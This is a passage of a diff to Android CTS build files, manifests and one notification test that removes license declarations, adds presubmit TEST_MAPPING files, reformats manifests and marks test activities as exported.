-            android:value="com.android.cts.runner.CtsTestRunListener" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS Native MIDI tests"
+         android:targetPackage="android.nativemidi.cts">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/nativemidi/jni/Android.mk b/tests/tests/nativemidi/jni/Android.mk
index 52f889b..bb62dec 100644
--- a/tests/tests/nativemidi/jni/Android.mk
+++ b/tests/tests/nativemidi/jni/Android.mk
@@ -18,8 +18,6 @@
 LOCAL_MODULE_TAGS := tests
 
 LOCAL_MODULE := libnativemidi_jni
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MULTILIB := both
 
 LOCAL_SRC_FILES := native-lib.cpp
diff --git a/tests/tests/ndef/Android.bp b/tests/tests/ndef/Android.bp
index d5cf44c..8a58309 100644
--- a/tests/tests/ndef/Android.bp
+++ b/tests/tests/ndef/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNdefTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/ndef/TEST_MAPPING b/tests/tests/ndef/TEST_MAPPING
new file mode 100644
index 0000000..6cd1292
--- /dev/null
+++ b/tests/tests/ndef/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNdefTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/netpermission/internetpermission/Android.bp b/tests/tests/netpermission/internetpermission/Android.bp
index 37ad7cb..196c2bb 100644
--- a/tests/tests/netpermission/internetpermission/Android.bp
+++ b/tests/tests/netpermission/internetpermission/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNetTestCasesInternetPermission",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/netpermission/internetpermission/AndroidManifest.xml b/tests/tests/netpermission/internetpermission/AndroidManifest.xml
index 23b7c0a..45ef5bd 100644
--- a/tests/tests/netpermission/internetpermission/AndroidManifest.xml
+++ b/tests/tests/netpermission/internetpermission/AndroidManifest.xml
@@ -16,12 +16,13 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.networkpermission.internetpermission.cts">
+     package="android.networkpermission.internetpermission.cts">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <activity android:name="android.networkpermission.internetpermission.cts.InternetPermissionTest"
-                  android:label="InternetPermissionTest">
+             android:label="InternetPermissionTest"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
@@ -30,21 +31,20 @@
     </application>
 
     <!--
-        The CTS stubs package cannot be used as the target application here,
-        since that requires many permissions to be set. Instead, specify this
-        package itself as the target and include any stub activities needed.
+                The CTS stubs package cannot be used as the target application here,
+                since that requires many permissions to be set. Instead, specify this
+                package itself as the target and include any stub activities needed.
 
-        This test package uses the default InstrumentationTestRunner, because
-        the InstrumentationCtsTestRunner is only available in the stubs
-        package. That runner cannot be added to this package either, since it
-        relies on hidden APIs.
-    -->
+                This test package uses the default InstrumentationTestRunner, because
+                the InstrumentationCtsTestRunner is only available in the stubs
+                package. That runner cannot be added to this package either, since it
+                relies on hidden APIs.
+            -->
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.networkpermission.internetpermission.cts"
-                     android:label="CTS tests for INTERNET permissions">
+         android:targetPackage="android.networkpermission.internetpermission.cts"
+         android:label="CTS tests for INTERNET permissions">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/netpermission/internetpermission/TEST_MAPPING b/tests/tests/netpermission/internetpermission/TEST_MAPPING
new file mode 100644
index 0000000..60877f4
--- /dev/null
+++ b/tests/tests/netpermission/internetpermission/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetTestCasesInternetPermission"
+    }
+  ]
+}
diff --git a/tests/tests/netpermission/updatestatspermission/Android.bp b/tests/tests/netpermission/updatestatspermission/Android.bp
index 7a24886..bc4f4de 100644
--- a/tests/tests/netpermission/updatestatspermission/Android.bp
+++ b/tests/tests/netpermission/updatestatspermission/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNetTestCasesUpdateStatsPermission",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/netpermission/updatestatspermission/AndroidManifest.xml b/tests/tests/netpermission/updatestatspermission/AndroidManifest.xml
index a4eca82..6babe8f 100644
--- a/tests/tests/netpermission/updatestatspermission/AndroidManifest.xml
+++ b/tests/tests/netpermission/updatestatspermission/AndroidManifest.xml
@@ -16,20 +16,21 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.networkpermission.updatestatspermission.cts">
+     package="android.networkpermission.updatestatspermission.cts">
 
     <!--
-         This CTS test is designed to test that an unprivileged app cannot get the
-         UPDATE_DEVICE_STATS permission even if it specified it in the manifest. the
-         UPDATE_DEVICE_STATS permission is a signature|privileged permission that CTS
-         test cannot have.
-    -->
-    <uses-permission android:name="android.permission.UPDATE_DEVICE_STATS" />
-    <uses-permission android:name="android.permission.INTERNET" />
+                 This CTS test is designed to test that an unprivileged app cannot get the
+                 UPDATE_DEVICE_STATS permission even if it specified it in the manifest. the
+                 UPDATE_DEVICE_STATS permission is a signature|privileged permission that CTS
+                 test cannot have.
+            -->
+    <uses-permission android:name="android.permission.UPDATE_DEVICE_STATS"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <activity android:name="android.networkpermission.updatestatspermission.cts.UpdateStatsPermissionTest"
-                  android:label="UpdateStatsPermissionTest">
+             android:label="UpdateStatsPermissionTest"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
@@ -38,21 +39,20 @@
     </application>
 
     <!--
-        The CTS stubs package cannot be used as the target application here,
-        since that requires many permissions to be set. Instead, specify this
-        package itself as the target and include any stub activities needed.
+                The CTS stubs package cannot be used as the target application here,
+                since that requires many permissions to be set. Instead, specify this
+                package itself as the target and include any stub activities needed.
 
-        This test package uses the default InstrumentationTestRunner, because
-        the InstrumentationCtsTestRunner is only available in the stubs
-        package. That runner cannot be added to this package either, since it
-        relies on hidden APIs.
-    -->
+                This test package uses the default InstrumentationTestRunner, because
+                the InstrumentationCtsTestRunner is only available in the stubs
+                package. That runner cannot be added to this package either, since it
+                relies on hidden APIs.
+            -->
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.networkpermission.updatestatspermission.cts"
-                     android:label="CTS tests for UPDATE_DEVICE_STATS permissions">
+         android:targetPackage="android.networkpermission.updatestatspermission.cts"
+         android:label="CTS tests for UPDATE_DEVICE_STATS permissions">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/netpermission/updatestatspermission/TEST_MAPPING b/tests/tests/netpermission/updatestatspermission/TEST_MAPPING
new file mode 100644
index 0000000..6d6dfe0
--- /dev/null
+++ b/tests/tests/netpermission/updatestatspermission/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetTestCasesUpdateStatsPermission"
+    }
+  ]
+}
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.bp b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.bp
index 2d964fa..b6aa133 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.bp
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNetSecPolicyUsesCleartextTrafficFalseTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/TEST_MAPPING b/tests/tests/netsecpolicy/usescleartexttraffic-false/TEST_MAPPING
new file mode 100644
index 0000000..43b85e9
--- /dev/null
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecPolicyUsesCleartextTrafficFalseTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.bp b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.bp
index 7197699..8386fec 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.bp
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNetSecPolicyUsesCleartextTrafficTrueTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.bp b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.bp
index 68af3d0..da1d9b9 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.bp
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNetSecPolicyUsesCleartextTrafficUnspecifiedTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/TEST_MAPPING b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/TEST_MAPPING
new file mode 100644
index 0000000..4b9bb16
--- /dev/null
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecPolicyUsesCleartextTrafficUnspecifiedTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/networksecurityconfig/Android.bp b/tests/tests/networksecurityconfig/Android.bp
index c22e16d..deaa4b0 100644
--- a/tests/tests/networksecurityconfig/Android.bp
+++ b/tests/tests/networksecurityconfig/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "tests-tests-networksecurityconfig-lib",
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.bp
index cccde10..356a02f 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNetSecConfigAttributeTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/TEST_MAPPING b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/TEST_MAPPING
new file mode 100644
index 0000000..49aaca1
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecConfigAttributeTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.bp
index 0672c5b..83c2d44 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNetSecConfigBasicDomainConfigTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/TEST_MAPPING b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/TEST_MAPPING
new file mode 100644
index 0000000..b4cf9c0
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecConfigBasicDomainConfigTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.bp
index e8b5a4d..a684e69 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNetSecConfigPrePCleartextTrafficTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/TEST_MAPPING b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/TEST_MAPPING
new file mode 100644
index 0000000..021dd45
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecConfigPrePCleartextTrafficTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.bp
index 88976ca..c72adb0 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNetSecConfigCleartextTrafficTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/TEST_MAPPING b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/TEST_MAPPING
new file mode 100644
index 0000000..c015f28
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecConfigCleartextTrafficTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.bp
index 64f4538..7eb9401 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNetSecConfigBasicDebugDisabledTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/TEST_MAPPING b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/TEST_MAPPING
new file mode 100644
index 0000000..1c0ace3
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecConfigBasicDebugDisabledTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.bp
index 8a092cd..4ae4b5b 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNetSecConfigBasicDebugEnabledTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/TEST_MAPPING b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/TEST_MAPPING
new file mode 100644
index 0000000..8bfb01a
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecConfigBasicDebugEnabledTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.bp
index 29c0d21..a0841a3 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNetSecConfigDownloadManagerTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/TEST_MAPPING b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/TEST_MAPPING
new file mode 100644
index 0000000..9aaae09
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecConfigDownloadManagerTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.bp
index 84753b6..d5599c0 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNetSecConfigInvalidPinTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/TEST_MAPPING b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/TEST_MAPPING
new file mode 100644
index 0000000..8786f17
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecConfigInvalidPinTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.bp
index cb33156..5ff160c 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNetSecConfigNestedDomainConfigTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/TEST_MAPPING b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/TEST_MAPPING
new file mode 100644
index 0000000..904eda5
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecConfigNestedDomainConfigTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.bp
index 3089b32..1e553ab 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNetSecConfigResourcesSrcTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/TEST_MAPPING b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/TEST_MAPPING
new file mode 100644
index 0000000..8462e93
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecConfigResourcesSrcTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/neuralnetworks/Android.mk b/tests/tests/neuralnetworks/Android.mk
index 019672c..d7ff34b 100644
--- a/tests/tests/neuralnetworks/Android.mk
+++ b/tests/tests/neuralnetworks/Android.mk
@@ -20,8 +20,6 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := CtsNNAPITestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
@@ -34,7 +32,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.neuralnetworks
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts mts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts mts mts-neuralnetworks general-tests
 
 LOCAL_SDK_VERSION := current
 LOCAL_NDK_STL_VARIANT := c++_static
diff --git a/tests/tests/neuralnetworks/benchmark/Android.mk b/tests/tests/neuralnetworks/benchmark/Android.mk
index dd69c5e..7f67499 100644
--- a/tests/tests/neuralnetworks/benchmark/Android.mk
+++ b/tests/tests/neuralnetworks/benchmark/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_MULTILIB := both
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests mts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests mts mts-neuralnetworks
 
 LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules \
     compatibility-device-util-axt ctstestrunner-axt junit NeuralNetworksApiBenchmark_Lib
diff --git a/tests/tests/neuralnetworks/benchmark/AndroidManifest.xml b/tests/tests/neuralnetworks/benchmark/AndroidManifest.xml
index 2a5df64..0e96960 100644
--- a/tests/tests/neuralnetworks/benchmark/AndroidManifest.xml
+++ b/tests/tests/neuralnetworks/benchmark/AndroidManifest.xml
@@ -15,21 +15,21 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.nn.benchmark.cts">
+     package="com.android.nn.benchmark.cts">
 
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
     <uses-sdk android:minSdkVersion="27"/>
 
     <application android:name=".NNAccuracyApplication">
-        <activity android:name=".NNAccuracyActivity">
+        <activity android:name=".NNAccuracyActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
     </application>
 
-    <instrumentation
-            android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.nn.benchmark.cts"
-            android:label="CTS tests of NNAPI accuracy benchmark"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.nn.benchmark.cts"
+         android:label="CTS tests of NNAPI accuracy benchmark"/>
 </manifest>
diff --git a/tests/tests/neuralnetworks/tflite_delegate/Android.mk b/tests/tests/neuralnetworks/tflite_delegate/Android.mk
index 0fbc8e1..2fe7c43 100644
--- a/tests/tests/neuralnetworks/tflite_delegate/Android.mk
+++ b/tests/tests/neuralnetworks/tflite_delegate/Android.mk
@@ -17,8 +17,6 @@
 LOCAL_PATH:= external/tensorflow/
 include $(CLEAR_VARS)
 LOCAL_MODULE := CtsTfliteNnapiDelegateTests_static
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_SRC_FILES := \
     tensorflow/lite/delegates/nnapi/nnapi_delegate_test.cc \
     tensorflow/lite/kernels/test_util.cc \
@@ -56,8 +54,6 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := CtsTfliteNnapiDelegateTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
@@ -66,11 +62,11 @@
 LOCAL_WHOLE_STATIC_LIBRARIES := CtsTfliteNnapiDelegateTests_static
 
 LOCAL_SHARED_LIBRARIES := libandroid liblog libneuralnetworks
-LOCAL_STATIC_LIBRARIES := libgtest_ndk_c++ libtflite_static
+LOCAL_STATIC_LIBRARIES := libgtest_ndk_c++ libgmock_ndk libtflite_static
 LOCAL_CTS_TEST_PACKAGE := android.neuralnetworks
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts mts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts mts mts-neuralnetworks general-tests
 
 LOCAL_SDK_VERSION := current
 LOCAL_NDK_STL_VARIANT := c++_static
diff --git a/tests/tests/nfc/Android.bp b/tests/tests/nfc/Android.bp
index 6310fec..077ee09 100644
--- a/tests/tests/nfc/Android.bp
+++ b/tests/tests/nfc/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNfcTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/notificationlegacy/notificationlegacy20/Android.bp b/tests/tests/notificationlegacy/notificationlegacy20/Android.bp
index affcee1..9ca0411 100644
--- a/tests/tests/notificationlegacy/notificationlegacy20/Android.bp
+++ b/tests/tests/notificationlegacy/notificationlegacy20/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsLegacyNotification20TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java b/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java
index 803f55e..fca8837 100644
--- a/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java
+++ b/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java
@@ -128,7 +128,7 @@
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
 
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final Notification notification =
                 new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                         .setSmallIcon(icon)
diff --git a/tests/tests/notificationlegacy/notificationlegacy27/Android.bp b/tests/tests/notificationlegacy/notificationlegacy27/Android.bp
index 9f48a60..4aca949 100644
--- a/tests/tests/notificationlegacy/notificationlegacy27/Android.bp
+++ b/tests/tests/notificationlegacy/notificationlegacy27/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsLegacyNotification27TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/notificationlegacy/notificationlegacy27/TEST_MAPPING b/tests/tests/notificationlegacy/notificationlegacy27/TEST_MAPPING
new file mode 100644
index 0000000..b540596
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy27/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsLegacyNotification27TestCases"
+    }
+  ]
+}
